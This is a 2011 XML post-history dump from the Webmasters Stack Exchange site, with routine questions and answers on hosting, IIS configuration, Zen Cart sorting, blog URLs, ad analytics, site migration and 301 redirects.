  <row Id="31693" PostHistoryTypeId="17" PostId="13671" RevisionGUID="371c350f-d8ac-424a-8e5c-08a597c68317" CreationDate="2011-05-12T12:33:43.137" UserId="-1" Comment="from http://stackoverflow.com/questions/5956491/track-promotional-code-sales" Text="" />
  <row Id="31694" PostHistoryTypeId="2" PostId="13672" RevisionGUID="a17f0352-a042-4901-86f9-f62e0f1e6f08" CreationDate="2011-05-12T12:39:15.460" UserId="7447" Text="html is the way to display the information that you want to display, if you want to be the next mark zuckerberg, html has very little to do to it... facebook in general is a programming masterpiece with countless hours put into it.&#xD;&#xA;&#xD;&#xA;but to answer your question, you'll need a mix of sevrel technologies in order to be a prolific web developer:&#xD;&#xA;&#xD;&#xA; 1. Database server /  Database display - pick any of the SQL database server you'd like, and start learning how to create efficent queries.&#xD;&#xA; 2. Server Side Scripting - that comes in the form of either Java (and using the powerful servlets), PHP or .net.&#xD;&#xA; 3. Client Side Scripting - JavaScript comes in handly in scripting of client side scripting, aswell as to create AJAX compoments (meaning - updating a certein part of the page, instead of refreshing it whole, like the activity feed on facebook).&#xD;&#xA; 4. Client Side Parsing - for that you'll need to know HTML aswell as CSS.&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="31696" PostHistoryTypeId="2" PostId="13674" RevisionGUID="1718b6fa-834f-4412-b44b-9f8d16a6b5a7" CreationDate="2011-05-12T13:05:33.320" UserId="1643" Text="I think you need to know what you want to do before you can find out what you need to get there. Once you've got the idea then you can ask questions here, or on stackoverflow.com on how to achieve that. Or if someone's doing something like you want on an existing website, then ask how they did it." />
  <row Id="31697" PostHistoryTypeId="10" PostId="13670" RevisionGUID="8d2c6f61-d0f9-4423-921a-47e41ab5333d" CreationDate="2011-05-12T13:05:34.583" UserId="1253" CloseReasonId="4" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="31699" PostHistoryTypeId="2" PostId="13675" RevisionGUID="7d3fae68-4451-497e-864d-df444d678a38" CreationDate="2011-05-12T13:25:25.313" UserId="7449" Text="I created an employee review application that has top-level stateful tabs just like the ones on this site.  There is a tab called &quot;My Employees&quot; and a tab called &quot;Employee Management&quot; (used by HR only).  The issue that I have is that when you are on the &quot;My Employees&quot; tab or the &quot;Employee Management&quot; tab, the associated information that is displayed both give the user access to the &quot;View Employee&quot; page.  So right now, since you can access the &quot;View Employee&quot; page from both of these tabs, I am deactivating all tabs when the user is viewing that page.  I'm doing this because I don't know which tab to have active.  Does anyone have any suggestions?  Is there a better UI navigation technique that I should be using if I have these types of scenarios, or does this indicate a flaw in the UI design in general?  Is it ok for &quot;View Employee&quot; to be accessable from 2 tabs?  Should I just use stateless tabs (buttons) or is that poor design as well?  Thanks and I appreciate any help you can provide." />
  <row Id="31700" PostHistoryTypeId="1" PostId="13675" RevisionGUID="7d3fae68-4451-497e-864d-df444d678a38" CreationDate="2011-05-12T13:25:25.313" UserId="7449" Text="What should I do if I have 2 UI tabs with content that allows the user to access the same page?" />
  <row Id="31701" PostHistoryTypeId="3" PostId="13675" RevisionGUID="7d3fae68-4451-497e-864d-df444d678a38" CreationDate="2011-05-12T13:25:25.313" UserId="7449" Text="&lt;website-design&gt;&lt;navigation&gt;&lt;gui&gt;" />
  <row Id="31702" PostHistoryTypeId="2" PostId="13676" RevisionGUID="7ed4ff40-4bc6-47cc-a2f6-d2a6df75d539" CreationDate="2011-05-12T13:54:05.583" UserId="7405" Text="HTTP handlers are handled differently in IIS7 vs. IIS6.  A couple of things you could try:&#xD;&#xA;&#xD;&#xA;1) Change your app pool from 'integrated' mode to 'classic' mode (probably would not be the first choice, but will certainly get it working).&#xD;&#xA;&#xD;&#xA;2) Reconfigure your web.config file (this is probably the route you should go).  In integrated mode, http handlers need to be moved to the &lt;system.webserver&gt; section (IIS6 has them in the system.web section).&#xD;&#xA;&#xD;&#xA;Here is some additional information you may want to have a look at:&#xD;&#xA;&#xD;&#xA;http://msdn.microsoft.com/en-us/library/bb515251.aspx&#xD;&#xA;&#xD;&#xA;Of note, have a look at the &quot;Moving a Web Application to Integrated Mode&quot; section." />
  <row Id="31703" PostHistoryTypeId="2" PostId="13677" RevisionGUID="4e8e6de1-101e-466c-bcf3-b64ef4d63d55" CreationDate="2011-05-12T13:59:50.200" UserId="1643" Text="I would leave the one active that you came to the View Employee page from. So if you'd got there from Employee Management, then that tab would be active.&#xD;&#xA;" />
  <row Id="31704" PostHistoryTypeId="2" PostId="13678" RevisionGUID="9afbe8d3-c7ff-46e3-a7d4-fdac7f295711" CreationDate="2011-05-12T14:29:14.153" UserId="7405" Text="There is a blog post that looks like it lists a possible solution to the problem you have:&#xD;&#xA;&#xD;&#xA;http://www.tugberkugurlu.com/archive/asp-net-chart-control-on-shared-hosting-environment-chartimagehandler-parser-error-problem-solution.&#xD;&#xA;&#xD;&#xA;Starting with .Net 4.0, the chart controls are actually part of the .Net framework." />
  <row Id="31705" PostHistoryTypeId="2" PostId="13679" RevisionGUID="c7e48d9b-06fe-4b38-960d-25126fc0dd97" CreationDate="2011-05-12T14:41:10.177" UserId="7405" Text="Plenty of options out there depending on how much you want to spend.  I've had relatively good luck with http://ReliableSite.net (although not specifically with MVC apps).  Support can be a little slow though.&#xD;&#xA;&#xD;&#xA;If you want a virtual dedicated machine, check out Rackspace Cloud Servers (http://www.rackspace.com/cloud/cloud_hosting_products/servers/).  Little bit more expensive, but highly reliable and can scale as you need it.  You are in full control of your server." />
  <row Id="31706" PostHistoryTypeId="2" PostId="13680" RevisionGUID="fdee3fbb-a1c5-4bf2-bb70-f3bd22e33388" CreationDate="2011-05-12T14:43:15.727" UserId="7452" Text="I am currently developing a website using zen cart and i pretty much have everything done but i am running into a slight problem. When I am putting items up that have numbers in them(ie. 10mm, 20mm) they are not being displayed in the right order. Instead of going&#xD;&#xA;&#xD;&#xA;10mm, 20mm....90mm, 100mm, 110mm&#xD;&#xA;&#xD;&#xA;it is going&#xD;&#xA;&#xD;&#xA;10mm, 100mm, 110mm.....190mm, 20mm, 200mm, 210mm&#xD;&#xA;&#xD;&#xA;Does anyone know how to sort this out because it is driving me mad :(&#xD;&#xA;&#xD;&#xA;Thank" />
  <row Id="31707" PostHistoryTypeId="1" PostId="13680" RevisionGUID="fdee3fbb-a1c5-4bf2-bb70-f3bd22e33388" CreationDate="2011-05-12T14:43:15.727" UserId="7452" Text="How to sort order of products in website using zen cart" />
  <row Id="31708" PostHistoryTypeId="3" PostId="13680" RevisionGUID="fdee3fbb-a1c5-4bf2-bb70-f3bd22e33388" CreationDate="2011-05-12T14:43:15.727" UserId="7452" Text="&lt;web-development&gt;&lt;website-design&gt;" />
  <row Id="31709" PostHistoryTypeId="6" PostId="13680" RevisionGUID="c3138113-32f9-47b4-b1d5-d14e1869ec99" CreationDate="2011-05-12T14:48:24.160" UserId="1253" Comment="modified tags" Text="&lt;zen-cart&gt;" />
  <row Id="31710" PostHistoryTypeId="6" PostId="10236" RevisionGUID="75c32d85-3f0d-44ab-8ae9-4e12b5a85846" CreationDate="2011-05-12T14:49:07.437" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;" />
  <row Id="31711" PostHistoryTypeId="2" PostId="13681" RevisionGUID="2313d57b-ab2e-4140-a3b9-3853d3234d29" CreationDate="2011-05-12T11:06:29.677" UserDisplayName="ashga" Text="I have an eCommerce web site www.kingsfieldcomputers.co.uk&#xD;&#xA;&#xD;&#xA;I am going to be setting up a blog and am not sure what url I should give the blog.&#xD;&#xA;&#xD;&#xA;Here are my options: -&#xD;&#xA;&#xD;&#xA;http://blog.kingsfieldcomputers.co.uk&#xD;&#xA;&#xD;&#xA;http://www.kingsfieldcomputers.co.uk/blog&#xD;&#xA;&#xD;&#xA;or these on a new domain I have purchased&#xD;&#xA;&#xD;&#xA;www.kingsfield.co&#xD;&#xA;&#xD;&#xA;blog.kingsfield.co&#xD;&#xA;&#xD;&#xA;www.kingsfield.co/blog&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;Ash&#xD;&#xA;" />
  <row Id="31712" PostHistoryTypeId="1" PostId="13681" RevisionGUID="2313d57b-ab2e-4140-a3b9-3853d3234d29" CreationDate="2011-05-12T11:06:29.677" UserDisplayName="ashga" Text="Does my blog url matter?" />
  <row Id="31713" PostHistoryTypeId="3" PostId="13681" RevisionGUID="2313d57b-ab2e-4140-a3b9-3853d3234d29" CreationDate="2011-05-12T11:06:29.677" UserDisplayName="ashga" Text="&lt;url&gt;&lt;seo&gt;&lt;blog&gt;" />
  <row Id="31714" PostHistoryTypeId="17" PostId="13681" RevisionGUID="3fa986d1-ff7e-42eb-a0e1-04655b32fb3d" CreationDate="2011-05-12T14:49:41.600" UserId="-1" Comment="from http://stackoverflow.com/questions/5977052/does-my-blog-url-matter" Text="" />
  <row Id="31715" PostHistoryTypeId="6" PostId="9452" RevisionGUID="21242f60-8f7d-4829-bec1-6edf69a2ea07" CreationDate="2011-05-12T14:52:15.200" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;.net&gt;" />
  <row Id="31716" PostHistoryTypeId="5" PostId="13681" RevisionGUID="5515daa2-eb4d-4d4b-a93c-ab6a89652bb0" CreationDate="2011-05-12T14:52:50.643" UserId="3922" Comment="removed salutation and signature; formatted lists" Text="I have an eCommerce web site: http://www.kingsfieldcomputers.co.uk&#xD;&#xA;&#xD;&#xA;I am going to be setting up a blog and am not sure what URL I should give the blog.&#xD;&#xA;&#xD;&#xA;Here are my options: -&#xD;&#xA;&#xD;&#xA; * http://blog.kingsfieldcomputers.co.uk&#xD;&#xA;&#xD;&#xA; * http://www.kingsfieldcomputers.co.uk/blog&#xD;&#xA;&#xD;&#xA;Or these on a new domain I have purchased&#xD;&#xA;&#xD;&#xA; * www.kingsfield.co&#xD;&#xA;&#xD;&#xA; * blog.kingsfield.co&#xD;&#xA;&#xD;&#xA; * www.kingsfield.co/blog&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31717" PostHistoryTypeId="24" PostId="13681" RevisionGUID="5515daa2-eb4d-4d4b-a93c-ab6a89652bb0" CreationDate="2011-05-12T14:52:50.643" Comment="Proposed by 3922 approved by 1253 edit id of 269" />
  <row Id="31718" PostHistoryTypeId="5" PostId="13681" RevisionGUID="94e8e2cd-9e30-42de-a4c1-cd799ad02210" CreationDate="2011-05-12T14:53:32.593" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Subdomain versus subdirectory](http://webmasters.stackexchange.com/questions/1198/subdomain-versus-subdirectory)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I have an eCommerce web site: http://www.kingsfieldcomputers.co.uk&#xD;&#xA;&#xD;&#xA;I am going to be setting up a blog and am not sure what URL I should give the blog.&#xD;&#xA;&#xD;&#xA;Here are my options: -&#xD;&#xA;&#xD;&#xA; * http://blog.kingsfieldcomputers.co.uk&#xD;&#xA;&#xD;&#xA; * http://www.kingsfieldcomputers.co.uk/blog&#xD;&#xA;&#xD;&#xA;Or these on a new domain I have purchased&#xD;&#xA;&#xD;&#xA; * www.kingsfield.co&#xD;&#xA;&#xD;&#xA; * blog.kingsfield.co&#xD;&#xA;&#xD;&#xA; * www.kingsfield.co/blog&#xD;&#xA;&#xD;&#xA;Thanks.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="31719" PostHistoryTypeId="10" PostId="13681" RevisionGUID="9e62ca48-86eb-4fb1-a23e-255a7de2e22a" CreationDate="2011-05-12T14:53:31.767" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="31721" PostHistoryTypeId="6" PostId="12062" RevisionGUID="219fd720-49f4-43d1-8574-c9366bb4ac12" CreationDate="2011-05-12T14:56:32.747" UserId="1253" Comment="modified tags" Text="&lt;web-hosting&gt;&lt;looking-for-hosting&gt;&lt;j2ee&gt;" />
  <row Id="31726" PostHistoryTypeId="2" PostId="13683" RevisionGUID="10059835-4288-4a68-9297-8275c86f111e" CreationDate="2011-05-12T15:07:56.137" UserId="7453" Text="So there are plenty of services to check your website in all browsers. There are many different scenarios to test a website with/without css, with/without javascript, many different screen resolutions and so on. &#xD;&#xA;&#xD;&#xA;Is there a way to test a website against known firewall and restriction settings? We are wondering if a vimeo embed and twitter feed are blocked and if so, what they look like blocked." />
  <row Id="31727" PostHistoryTypeId="1" PostId="13683" RevisionGUID="10059835-4288-4a68-9297-8275c86f111e" CreationDate="2011-05-12T15:07:56.137" UserId="7453" Text="Check website against corporate internet filters." />
  <row Id="31728" PostHistoryTypeId="3" PostId="13683" RevisionGUID="10059835-4288-4a68-9297-8275c86f111e" CreationDate="2011-05-12T15:07:56.137" UserId="7453" Text="&lt;video&gt;&lt;testing&gt;" />
  <row Id="31729" PostHistoryTypeId="25" PostId="13680" RevisionGUID="e62e031d-4edc-45ee-a108-848846955de6" CreationDate="2011-05-12T15:11:49.200" Comment="http://twitter.com/#!/StackWebmasters/status/68694873611575296" />
  <row Id="31730" PostHistoryTypeId="2" PostId="13684" RevisionGUID="d368bf5e-01e8-43f2-b83e-c000b3353568" CreationDate="2011-05-12T15:26:39.947" UserId="1643" Text="There are many types of web filtering software with their own lists, and companies are going to turn on and off different categories of sites whichever service they use. Two that I am aware of are [OpenDNS][1] and [Dan's Guardian][2]. So you're going to have find these services and dig through their blacklists to see what they block.&#xD;&#xA;&#xD;&#xA;A quick way of blocking them yourself is to edit your hosts file (if you are on Windows this is `c:\Windows\System32\drivers\etc\hosts`, if Linux, `/etc/hosts`) and put in lines like this&#xD;&#xA;&#xD;&#xA;    127.0.0.1 vimeo.com&#xD;&#xA;    127.0.0.1 www.vimeo.com&#xD;&#xA;&#xD;&#xA;and so on.&#xD;&#xA;&#xD;&#xA;The do `ipconfig/flushdns` (windows) or `/etc/rc.d/init.d/nscd restart` (Linux) and restart your browser to see what the pages look like.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://opendns.com&#xD;&#xA;  [2]: http://dansguardian.org" />
  <row Id="31731" PostHistoryTypeId="2" PostId="13685" RevisionGUID="a9efdb6c-1e87-45b8-abd2-27c4a2860961" CreationDate="2011-05-12T15:36:47.153" UserId="5718" Text="I also found that the availability of Tomcat hosting was limited last time I checked. I'm using Amazon AWS now as it's affordable and easy to scale up and out if needed. They're offing a basic micro instance with 1 processor, 640MB of RAM and 10GB disk space free for one year when you sign up as a new customer. This should be enough to get started then their pricing after that's very competitive and you can switch servers on and off as needed with only an hours notice.&#xD;&#xA;" />
  <row Id="31732" PostHistoryTypeId="2" PostId="13686" RevisionGUID="b144761a-3061-48bc-9898-4b90b32ad3af" CreationDate="2011-05-12T15:59:05.740" UserId="7198" Text="&lt;a href=&quot;http://www.zen-cart.com/forum/showthread.php?t=179344&amp;highlight=sort+number&quot;&gt;This thread on the zen cart forums&lt;/a&gt; references the same problem with numerical sorting that you describe. The reply suggests using each product's 'sort' field to override the default sorting.&#xD;&#xA;&#xD;&#xA;I would suggest filing a bug report for this issue in their &lt;a href=&quot;http://www.zen-cart.com/forum/forumdisplay.php?f=140&quot;&gt;Bug Report forum.&lt;/a&gt;&#xD;&#xA;" />
  <row Id="31733" PostHistoryTypeId="5" PostId="13657" RevisionGUID="a322489b-f81e-454e-b599-e755b8a02dfb" CreationDate="2011-05-12T17:25:18.407" UserId="7445" Comment="added 287 characters in body" Text="As some people might know, adding share buttons from Facebook and Twitter can cause a page to slow down.  I've seen many sites pass on the common iframe implementations that these sites offer and simply create icons that link to a sharer url for better control of page performance.&#xD;&#xA;http://www.facebook.com/sharer/sharer.php?u=http%3A%2F%2Fwww.cnn.com%2F&amp;t=CNN%26s+website%27&#xD;&#xA;&#xD;&#xA;However, I've also read that Facebook is dropping support for these links.  For example, this link now redirects to the Like Button. http://www.facebook.com/facebook-widgets/share.php&#xD;&#xA;&#xD;&#xA;Here is an article noting that Facebook is deprecating/has deprecated it's share functionality and is sticking with the Like button. http://www.barbariangroup.com/posts/7544-the_facebook_share_button_has_been_deprecated_called_it&#xD;&#xA;&#xD;&#xA;I'm assuming this is the same for the sharing url.&#xD;&#xA;&#xD;&#xA;If the sharer url is no longer a reliable option, what other methods are there besides using 3rd party widgets (like Addthis)?" />
  <row Id="31734" PostHistoryTypeId="2" PostId="13687" RevisionGUID="4287c22f-e088-47ae-a1fb-9c119af79262" CreationDate="2011-05-12T17:38:01.150" UserId="3718" Text="I received a voucher from LinkedIn which gives me $50 worth of Advertising, and as I've started out on my own as a web designer/developer I thought this would be a good opportunity to get some extra business.&#xD;&#xA;&#xD;&#xA;Anyway, I've used LinkedIn's stat counter and it has said I've had ten &quot;valid&quot; clicks to my website. However, when I check my Google Analytics account, it states that one day I only received 6 clicks from LinkedIn, 4 of which had a 100% bounce rate and stayed on the website for 00:00:00. &#xD;&#xA;&#xD;&#xA;I've spoken to LinkedIn about it, and they e-mailed me back saying a few things. They have said some users might have Javascript turned off, so won't show up on my Analytics software. He also said that my Analytics software might be tracking LinkedIn.com (which it is) and that this will over/under report registered clicks on my site.&#xD;&#xA;&#xD;&#xA;To me, I'm suspicious that most of the clicks aren't 100% legit, and they might be trying to eat up my $50 voucher before I have to start paying. It does sound like a paranoid view point, but when one stat counter is saying I've had 10 clicks in a day, and my Google Analytics account is telling me only 6 clicks came from there.&#xD;&#xA;&#xD;&#xA;Am I right to be paranoid or have I completely missed how these things work?&#xD;&#xA;&#xD;&#xA;Cheers" />
  <row Id="31735" PostHistoryTypeId="1" PostId="13687" RevisionGUID="4287c22f-e088-47ae-a1fb-9c119af79262" CreationDate="2011-05-12T17:38:01.150" UserId="3718" Text="LinkedIn Advert stats not matching with my Google Analytics data" />
  <row Id="31736" PostHistoryTypeId="3" PostId="13687" RevisionGUID="4287c22f-e088-47ae-a1fb-9c119af79262" CreationDate="2011-05-12T17:38:01.150" UserId="3718" Text="&lt;google-analytics&gt;&lt;click-tracking&gt;&lt;linkedin&gt;" />
  <row Id="31737" PostHistoryTypeId="2" PostId="13688" RevisionGUID="e18e7d9b-9cc0-47d5-b4b4-fe454ece2196" CreationDate="2011-05-12T18:04:01.483" UserId="7198" Text="LinkedIn's response sounds like a fair explanation of the difference you're seeing.&#xD;&#xA;&#xD;&#xA;If you wanted a third datapoint to measure clicks on your ad, your could use &lt;a href=&quot;http://bit.ly&quot;&gt;bit.ly URLs&lt;/a&gt; in your LinkedIn ads to link to your site. Adding a '+' sign at the end of any bit.ly URL gives you a breakdown of the clickthrough. This has the added advantage that it doesn't require JavaScript, so it may prove a more accurate representation than what you're seeing in Google Analytics.&#xD;&#xA;&#xD;&#xA;Note that all visitors who bounce off your homepage will record a visit time of 0:00. Google requires two page loads to measure a visit duration; if they don't record a second page load, they can't record a visit duration. So a 0:00 visit time isn't necessarily reason to be suspicious. (Note also that they don't take these 0 amounts into account when giving average visit time, only for individual visits.) " />
  <row Id="31738" PostHistoryTypeId="5" PostId="13688" RevisionGUID="36f8f548-fa0e-42b8-b11c-f93e2a6c6b3f" CreationDate="2011-05-12T18:09:05.347" UserId="7198" Comment="Removed Analytics info; couldn't find source to confirm." Text="LinkedIn's response sounds like a fair explanation of the difference you're seeing.&#xD;&#xA;&#xD;&#xA;If you wanted a third datapoint to measure clicks on your ad, your could use &lt;a href=&quot;http://bit.ly&quot;&gt;bit.ly URLs&lt;/a&gt; in your LinkedIn ads to link to your site. Adding a '+' sign at the end of any bit.ly URL gives you a breakdown of the clickthrough. This has the added advantage that it doesn't require JavaScript, so it may prove a more accurate representation than what you're seeing in Google Analytics.&#xD;&#xA;" />
  <row Id="31739" PostHistoryTypeId="25" PostId="13683" RevisionGUID="96616e15-e663-4b4f-9426-a71446364aa1" CreationDate="2011-05-12T18:11:49.743" Comment="http://twitter.com/#!/StackWebmasters/status/68740174498111488" />
  <row Id="31740" PostHistoryTypeId="2" PostId="13689" RevisionGUID="faecfc6d-7d6d-4620-aab2-f086f6cc163a" CreationDate="2011-05-12T18:13:39.637" UserId="5718" Text="There's a difference between PPC clicks and the website visits reported in Google Analytics. A click gets logged as soon as LinkedIn redirects the user to your site. However, your page needs to load in the ga.js code from Google's servers and then send an image request back before the visit is recorded. This process sometimes doesn't complete. Here's a few reasons:&#xD;&#xA;&#xD;&#xA;- The user leaves your site before the code is downloaded and run&#xD;&#xA;- The user clicks on a link deeper into your site before it's run&#xD;&#xA;- Other technical issues like the code just failing to download or people deliberately blocking it&#xD;&#xA;&#xD;&#xA;The issue that your reporting is normal and happens with all PPC ad providers such as Google AdWords. However, 40% seems a quite high failure rate. Possible reasons include:&#xD;&#xA;&#xD;&#xA;- Sometimes the HTTP referrer used to show where a visit is coming from get's blocked or lost before it's picked up by GA&#xD;&#xA;- Your GA tracking code might not being installed properly&#xD;&#xA;- It could even be that 10 clicks isn't really enough to make judgments about as the results you have so far might not be statistically valid&#xD;&#xA;&#xD;&#xA;My advice would be to try out using the GA URL tracking parameters (utm_source, utm_content etc) instead or relying on the referrer. It's the way Google advises tracking PPC campaigns anyway and has the added benefit that you can check your server logs to validate what you seen in the LinkedIn reports.&#xD;&#xA;" />
  <row Id="31741" PostHistoryTypeId="5" PostId="11681" RevisionGUID="b7a49268-ca09-48f9-b23d-74d154e6b852" CreationDate="2011-05-12T18:22:43.433" UserId="4786" Comment="added list, removed greeting and signature per FAQ" Text="I'm actually trying GateIn for my firm and I don't manage to integrate OpenAM and GateIn.&#xD;&#xA;&#xD;&#xA;I follow all the steps in the GateInReference Guide but I've a problem.&#xD;&#xA;&#xD;&#xA;The scenarii of the problem is : &#xD;&#xA;&#xD;&#xA; 1. Go to localhost:8080/portal&#xD;&#xA;&#xD;&#xA; 2. Click sur Administrator&#xD;&#xA;&#xD;&#xA; 3. I'm redirected to : openam.vauban.com:2080/openam_s952/UI/Login?realm=gatein&amp;goto=http://localhost:8080/portal/private/classic&#xD;&#xA;&#xD;&#xA; 4. I filled in the form with root / gtn&#xD;&#xA;&#xD;&#xA; 5. I'm redirected to localhost:8080/portal/private/classic and the page is blank and the main fact is : The system seems to redirect me to this page infinitely..&#xD;&#xA;&#xD;&#xA;Does Someone know an issue for this infinite loop?&#xD;&#xA;&#xD;&#xA;For information, I configured my OpenAM  :&#xD;&#xA;&#xD;&#xA;Yo encode the cookies, use c66encode." />
  <row Id="31742" PostHistoryTypeId="24" PostId="11681" RevisionGUID="b7a49268-ca09-48f9-b23d-74d154e6b852" CreationDate="2011-05-12T18:22:43.433" Comment="Proposed by 4786 approved by 108 edit id of 270" />
  <row Id="31743" PostHistoryTypeId="17" PostId="13691" RevisionGUID="bcec6b78-055a-41b4-8e3f-3c2e74261dfd" CreationDate="2011-05-12T19:21:29.470" UserId="-1" Comment="from http://stackoverflow.com/questions/5977652/moving-website-from-cms/5977774#5977774" Text="" />
  <row Id="31744" PostHistoryTypeId="2" PostId="13691" RevisionGUID="5d810f74-bc26-4a9c-abcb-3f53af81bc5a" CreationDate="2011-05-12T12:11:51.173" UserDisplayName="Leons" Text="If you have full control over your DNS records, then you can create a subdomain (`test.mydomain.com`) and point the A record to a new hosting company.  Here you can build your new website (a CMS is always a good option, will make for faster development).  When the new site is done and ready, change the A record of `mydomain.com` and/or `www.mydomain.com` to the IP address of the new hosting company and then switch the rest over.  " />
  <row Id="31745" PostHistoryTypeId="2" PostId="13690" RevisionGUID="e056c42f-9276-4705-a3af-517ced65b369" CreationDate="2011-05-12T12:02:40.267" UserDisplayName="Ibz" Text="I have recently had a website created for me by an IT company. The problem is that i am being charged extortant amounts of money to change minor things. They have charged me to a create a small CMS system, but it is overly simple and gives me very little control.&#xD;&#xA;&#xD;&#xA;I want to move my website to a new host so that I have full control of it.&#xD;&#xA;&#xD;&#xA;Can someone please explain the process i would have to go through in order to achieve this?&#xD;&#xA;&#xD;&#xA;NB: I have experience working with SQL, phpMyAdmin, HTML, CSS etc.&#xD;&#xA;&#xD;&#xA;Any and all help is much appreciated.. :)" />
  <row Id="31746" PostHistoryTypeId="1" PostId="13690" RevisionGUID="e056c42f-9276-4705-a3af-517ced65b369" CreationDate="2011-05-12T12:02:40.267" UserDisplayName="Ibz" Text="Moving Website From CMS" />
  <row Id="31747" PostHistoryTypeId="3" PostId="13690" RevisionGUID="e056c42f-9276-4705-a3af-517ced65b369" CreationDate="2011-05-12T12:02:40.267" UserDisplayName="Ibz" Text="&lt;html&gt;&lt;cms&gt;&lt;phpmyadmin&gt;" />
  <row Id="31748" PostHistoryTypeId="17" PostId="13690" RevisionGUID="c660f59d-6269-462d-9cb9-e8274893d755" CreationDate="2011-05-12T19:21:29.470" UserId="-1" Comment="from http://stackoverflow.com/questions/5977652/moving-website-from-cms" Text="" />
  <row Id="31749" PostHistoryTypeId="2" PostId="13692" RevisionGUID="89917b7b-ab72-4891-9bc5-733d1da56be3" CreationDate="2011-05-12T20:01:11.563" UserId="1112" Text="Google has a define: operator which provides a list of definitions for a given word. Where does Google pull those definitions from? i.e. what does Google look for on a page to determine that that page is a definition for a word?&#xD;&#xA;&#xD;&#xA;(This has been discussed a number of times on Webmaster World but nobody has come up with an answer yet.)" />
  <row Id="31750" PostHistoryTypeId="1" PostId="13692" RevisionGUID="89917b7b-ab72-4891-9bc5-733d1da56be3" CreationDate="2011-05-12T20:01:11.563" UserId="1112" Text="Where does Google pull the results for the define operator" />
  <row Id="31751" PostHistoryTypeId="3" PostId="13692" RevisionGUID="89917b7b-ab72-4891-9bc5-733d1da56be3" CreationDate="2011-05-12T20:01:11.563" UserId="1112" Text="&lt;google&gt;&lt;google-search&gt;" />
  <row Id="31752" PostHistoryTypeId="2" PostId="13693" RevisionGUID="c89cd155-c7f3-4b76-a55f-940b411f438d" CreationDate="2011-05-12T20:48:16.500" UserId="4502" Text="&lt;a href=&quot;http://googlesystem.blogspot.com/2010/08/google-dictionary-has-new-content.html&quot;&gt;Last August&lt;/a&gt;, they switched to the Oxford Pocket Dictionary.&#xD;&#xA;&#xD;&#xA;Seems odd nobody figured this out or at least got close.  &#xD;&#xA;Just use the define operator on a few words, eg &lt;a href=&quot;http://www.google.com/search?q=define%3Aculture&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a&quot;&gt;culture&lt;/a&gt;, &lt;a href=&quot;http://www.google.com/search?sclient=psy&amp;hl=en&amp;client=firefox-a&amp;hs=YUd&amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;source=hp&amp;q=define%3Alove&amp;aq=&amp;aqi=&amp;aql=&amp;oq=&amp;pbx=1&quot;&gt;love&lt;/a&gt;, &lt;a href=&quot;http://www.google.com/search?sclient=psy&amp;hl=en&amp;client=firefox-a&amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;source=hp&amp;q=define%3Arobot&amp;aq=&amp;aqi=&amp;aql=&amp;oq=&amp;pbx=1&quot;&gt;robot&lt;/a&gt;.  &#xD;&#xA;Then do exact phrase searches for the definitions: &lt;a href=&quot;http://www.google.com/search?q=%22The+arts+and+other+manifestations+of+human+intellectual+achievement+regarded+collectively.%22&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a&quot;&gt;culture&lt;/a&gt;, &lt;a href=&quot;http://www.google.com/search?q=%22An+intense+feeling+of+deep+affection%3A+%22their+love+for+their+country%22.%22&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a#sclient=psy&amp;hl=en&amp;client=firefox-a&amp;hs=Wid&amp;rls=org.mozilla:en-US%3Aofficial&amp;source=hp&amp;q=An+intense+feeling+of+deep+affection:+%22their+love+for+their+country%22.&amp;aq=f&amp;aqi=&amp;aql=&amp;oq=&amp;pbx=1&amp;bav=on.2,or.r_gc.r_pw.&amp;fp=44b3839bd44fe786&quot;&gt;love&lt;/a&gt;, &lt;a href=&quot;http://www.google.com/search?q=%22A+machine+capable+of+carrying+out+a+complex+series+of+actions+automatically.%22&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a&quot;&gt;robot&lt;/a&gt;&#xD;&#xA;&#xD;&#xA;In each case, the top result is at http://oxforddictionaries.com/ sometimes with slight variation since they probably use a different specific source dictionary of their own." />
  <row Id="31753" PostHistoryTypeId="2" PostId="13694" RevisionGUID="4f0dcef8-a1d6-43a6-812a-54b7ff9f30f2" CreationDate="2011-05-12T20:58:46.170" UserId="6033" Text="In a web debugger, the html of a 301 redirect page shows up as:&#xD;&#xA;&#xD;&#xA;    &lt;!DOCTYPE HTML PUBLIC &quot;-//IETF//DTD HTML 2.0//EN&quot;&gt;&#xD;&#xA;    &lt;html&gt;&lt;head&gt;&#xD;&#xA;    &lt;title&gt;301 Moved Permanently&lt;/title&gt;&#xD;&#xA;    &lt;/head&gt;&lt;body&gt;&#xD;&#xA;    &lt;h1&gt;Moved Permanently&lt;/h1&gt;&#xD;&#xA;    &lt;p&gt;The document has moved &lt;a href=&quot;http://www.website.com/webpage.htm&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xD;&#xA;    &lt;/body&gt;&lt;/html&gt;&#xD;&#xA;&#xD;&#xA;I'm having to redirect html pages without server support. If I replace the pages html with the code above, will that work the same as writing 301 redirects in .htaccess on apache? I looked this up on google, but the sites talking about 301 redirects didn't cover this option for redirecting html pages. " />
